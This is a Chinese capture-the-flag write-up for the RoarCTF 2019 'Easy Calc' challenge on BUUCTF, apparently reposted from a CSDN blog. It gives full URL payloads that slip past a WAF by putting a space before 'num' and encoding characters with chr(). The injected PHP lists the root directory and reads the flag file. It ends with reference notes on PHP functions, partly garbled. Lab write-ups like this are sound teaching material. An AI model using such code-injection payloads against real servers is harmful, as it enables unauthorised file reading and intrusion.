BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

1.尝试

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

没有发现什么有效信息,看源码:

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

发现网页有WAF, url:"calc.php?num="+encodeURIComponent($("#content").val()),这里值得尝试。于是:http://node3.buuoj.cn:27026/calc.php,得到php代码:

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

2.WAF、代码审计、php函数

空格,\ 等都被过滤。所以

http://node3.buuoj.cn:27026/calc.php? num=var_dump(scandir(chr(47)))

num前加一个空格,scandir(/)中 / 用 chr(47)代替。

得到:

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数) 发现有f1agg文件,于是用 file_get_contents(/flagg) 把整个文件读入一个字符串中。

http://node3.buuoj.cn:27026/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag!

chr码值对应列表

用到的一些函数:
scandir():列出参数目录 中的文件和目录
var_dump:是PHP中的调试函数,可以用var_dump打印所有的对象,查看对象内部数据结构。
var_dump( ‘参数1(必填参数)’ , 参数n" );
参数1:想要导出或者输出的内容。
作用: 输出填入的内容。
类型:所有类型。
参数N:想要导出或者输出的内容。
作用: 输出填入的内容。
类型:所有类型。
// 以升序排序 - 默认
a = s c a n d i r ( a = scandir(a=scandir(dir);
// 以降序排序
b = s c a n d i r ( b = scandir(b=scandir(dir,1);

file_get_contents() 把整个文件读入一个字符串中
file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
————————————————
原文链接:https://blog.csdn.net/cainiao17441898/article/details/116244350

BUUCTF-[RoarCTF 2019]Easy Calc(WAF、代码审计、php函数)

上一篇:HTML标签系列(二)之文档类型声明


下一篇:json转tree